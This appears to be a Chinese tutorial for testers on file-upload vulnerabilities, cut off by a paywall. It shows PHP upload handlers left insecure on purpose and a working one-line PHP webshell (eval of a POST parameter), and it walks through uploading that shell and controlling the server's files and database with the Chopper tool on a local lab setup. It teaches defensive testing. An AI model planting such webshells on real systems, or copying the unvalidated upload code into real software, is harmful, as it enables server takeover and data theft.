接口安全测试--上传漏洞

说到上传漏洞,大家可能想到的就是限制文件格式,没错,限制文件格式的确能在一定程度上达到防止攻击的目的,但是魔高一尺道高一丈,网络安全领域内,矛与盾的较量始终在上演,从未停止,以后也不会停止。

大部分的网站和应用系统都有上传功能,而程序员在开发任意文件上传功能时,并未考虑文件格式后缀的合法性校验或者是否只在前端通过js进行后缀检验。这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php、aspx文件后缀)到服务器上,从而访问这些恶意脚本中包含的恶意代码,进行动态解析最终达到执行恶意代码的效果,进一步影响服务器安全。

文件上传漏洞是指由于程序对用户上传的文件未做文件类型、后缀名等的强校验,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件,上传的文件可以是木马,病毒,恶意脚本或者WebShell等。如果服务器的处理逻辑做的不够安全,则会导致严重的后果,比如:

  • 重要数据泄露:如果上传了木马,则上传者可能会获取到服务器资源的访问权限,从而导致服务器的重要数据泄露
  • DDOS攻击:如果没有限制上传文件的大小,则可能出现攻击者恶意上传超大文件,造成内存、磁盘资源耗尽,服务器无法正常处理业务请求,形成拒绝服务攻击

1. 上传漏洞实例

我们以php代码为例(示例代码参见GitHub:https://github.com/8784285/SafetyTest.git ),通过下面几个case看看上传漏洞的威力

case1:正常上传图片

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    $target_path  = "E:\\phpstudy_pro\\WWW\\test\\uploads\\";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        echo '<pre>图片未上传</pre>';
    }
    else {
        echo "<pre>{$target_path} 上传成功!</pre>";
    }
 }
?>

将上面代码保存为文件upload.php,部署到web容器中。此处我们选择phpstudy的集成环境,在phpstudy的WWW目录下新建一个名为"test"的站点,将刚才写好的upload.php文件放置在此目录下,启动phpstudy服务。
我们仍然用postman来测试上传,地址栏输入"http://127.0.0.1/test/upload.php",请求方法选择“POST",请求体部分配置如下:

  • 1)选择Body
  • 2)选择form-data
  • 3)第一个key输入"myfile"
  • 4)文本框后面的类型选择"file"
  • 5)Value选择要上传的图片
  • 6)第二个key输入"Upload"
    然后点击【Send】

postman上传图片参数配置

返回如下结果,则图片上传成功,说明上传接口功能正常

<pre>E:\phpstudy_pro\WWW\test\uploads\bluesky.jpg 上传成功!</pre>

case2:上传木马

我们编写一个只有一句话的php文件(即一句话木马)a.php

<?php eval(@$_POST['a']); ?>

仍然用postman上传该文件(步骤同case1),返回结果如下:

<pre>E:\phpstudy_pro\WWW\test\uploads\a.php 上传成功!</pre>

我们进入php服务器存放上传文件的目录,也可以看到a.php文件已经被成功上传到服务器
a.php文件成功上传

接下来我们用“菜刀”软件连接,主界面点击右键,然后点击添加,填写相关的数据,如下图:

菜刀配置

  • 1)填写a.php的url访问路径
  • 2)填写a.php文件中$_POST['a']中的a
  • 3)选择PHP(Eval)

添加完成后双击添加的记录,或者右键选择“文件管理”,即可打开如下界面
菜单连接成功

默认进入的是a.php所在目录,但是通过左侧的目录树,可以进入服务器所有文件目录,最恐怖的是,这个界面打开的窗口跟本地操作几乎没有区别,增删改查功能没有任何限制。

如果数据库也在a.php所在服务器,而且不慎被猜中数据库密码的话,数据库也会沦陷,增删改查也不在话下,如下图:

菜刀连接数据库

case3:文件MIME类型验证

上面的木马之所以可以上传成功,是因为接口没有对文件格式做任何的校验,后缀为php类型的文件也可以成功上传,那下面我们就对文件类型进行校验,看漏洞是不是能够被封堵。

新增一个php文件upload1.php,代码如下:

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    $target_path  = "E:\\phpstudy_pro\\WWW\\test\\uploads\\";
    $target_path .= basename( $_FILES[ 'myfile' ][ 'name' ] );

    $uploaded_name = $_FILES[ 'myfile' ][ 'name' ];
    $uploaded_type = $_FILES[ 'myfile' ][ 'type' ];
    $uploaded_size = $_FILES[ 'myfile' ][ 'size' ];

    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        if( !move_uploaded_file( $_FILES[ 'myfile' ][ 'tmp_name' ], $target_path ) ) {
            ec

剩余60%内容,订阅专栏后可继续查看/也可单篇购买

<p> 本专刊共五章 21 篇正文及 5 个对应的 GitHub 项目,主要介绍了接口测试基础知识及测试用例设计方法,认证鉴权、加密验签,自动化测试,安全性测试,性能测试等内容,每一章节都有代码实例来剖析其原理,并提供了一个完整电商系统的代码,可以直接实操演练,让你知其然知其所以然,轻松搞定接口测试。加入专刊,你就加入了一大群志同道合的优质测试人圈子,同时还有和作者及作者的朋友们互动交流的机会。 本专刊购买后即可解锁所有章节,故不可以退换哦~ </p> <p> <br /> </p>

全部评论

相关推荐

点赞 收藏 评论
分享
牛客网
牛客企业服务